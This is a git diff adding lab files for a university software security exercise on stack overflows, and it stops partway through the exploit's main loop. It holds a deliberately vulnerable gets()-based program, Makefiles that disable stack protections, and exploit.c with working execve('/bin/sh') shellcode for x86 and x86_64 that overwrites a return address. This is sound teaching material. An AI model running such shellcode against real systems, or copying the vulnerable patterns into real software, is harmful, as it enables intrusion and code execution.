diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile new file mode 100644 index 0000000..28fa0a7 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile @@ -0,0 +1,34 @@ +CC = gcc +CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack +SRC = $(wildcard *.c) +TGT = $(subst .c,,$(SRC)) +BUILD_DIR = build +DUMP_DIR = dump + + +pframe: + curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ + tar -xf pframe.tgz &&\ + rm -rf pframe.tgz + +.gdbinit: + +configure: pframe .gdbinit + $(shell echo "python import pframe" > .gdbinit) + +$(BUILD_DIR)/%: %.c + $(shell mkdir -p $(BUILD_DIR)) + $(CC) $(CFLAGS) -o $@ $< + +build: $(addprefix $(BUILD_DIR)/, $(TGT))) + + +PHONY: % +gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%)) + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \ + gdb $< --command=$(subst gdb_,,$@).gdb + + +PHONY: clean +clean: + @rm -rf $(BUILD_DIR) pframe .gdbinit diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic new file mode 100755 index 0000000..c3255cf Binary files /dev/null and b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic differ diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c new file mode 100644 index 0000000..190d021 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c @@ -0,0 +1,14 @@ +#include +#include + +#define N 11 + +int main(int argc, char *argv[]) { + long t[N]; + long i; + + for (i = 0; i <= N; i++) + t[i] = 0; + + return t[0]; +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb new file mode 100644 index 0000000..da0e081 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb @@ -0,0 +1,2 @@ +b main +r diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile new file mode 100644 index 0000000..19f37fc --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile @@ -0,0 +1,35 @@ +CC = gcc +CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack +SRC = $(wildcard *.c) +TGT = $(subst .c,,$(SRC)) +BUILD_DIR = build +DUMP_DIR = dump + + +pframe: + curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ + tar -xf pframe.tgz &&\ + rm -rf pframe.tgz + +.gdbinit: + +configure: pframe .gdbinit + $(shell echo "python import pframe" > .gdbinit) + +$(BUILD_DIR)/%: %.c + $(shell mkdir -p $(BUILD_DIR)) + $(CC) $(CFLAGS) -o $@ $< + +build: $(addprefix $(BUILD_DIR)/, $(TGT))) + + +PHONY: gdb +gdb: build/exploit build/anodin configure + ./$(BUILD_DIR)/exploit > hack.txt & + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \ + setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb + rm hack.txt + +PHONY: clean +clean: + @rm -rf $(BUILD_DIR) pframe .gdbinit diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c new file mode 100644 index 0000000..54a048b --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c @@ -0,0 +1,23 @@ +#include +#include +#include +#include + +int litentier(void) { + unsigned char buf[64]; + int i; + printf("%p\n", buf); + printf("> "); + fflush(stdout); + gets(buf); + i=atoi(buf); + return i; +} + +int main(int argc, char *argv[]) { + while (1) { + int i; + i = litentier(); + printf("ok %d\n", i); + } +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb new file mode 100644 index 0000000..d1f5e22 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb @@ -0,0 +1,2 @@ +b litentier +r < hack.txt diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c new file mode 100644 index 0000000..8895bbf --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c @@ -0,0 +1,62 @@ +#include +#include + + +unsigned char exploit[1024] = { + 0x90, 0x90, 0x90, 0x90, // A few nops for some margin + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + +#ifdef __x86_64__ + /* 64 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5f, // pop the address + 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x48, 0x89, 0xe2, // envp + 0x57, // push adress + 0x48, 0x89, 0xe6, // argv + 0x0f, 0x05, // system call! +#else + /* 32 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5b, // pop the adress + 0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x89, 0xe2, // envp + 0x53, // push adress + 0x89, 0xe1, // argv + 0xcd, 0x80, // system call! +#endif +}; + +int main(void) { + int i; + void **exploit_ptr = (void*) &exploit; + void *ptr; + + fprintf(stderr,"Type the buf address printed by anodin\n"); + scanf("%p", &ptr); + + // Un peu de marge + ptr += 8; + + // écraser l'adresse de retour + for (i = 0; i < 8; i++) + exploit_ptr[64/sizeof(void*)+i] = ptr; + + for (i=0;i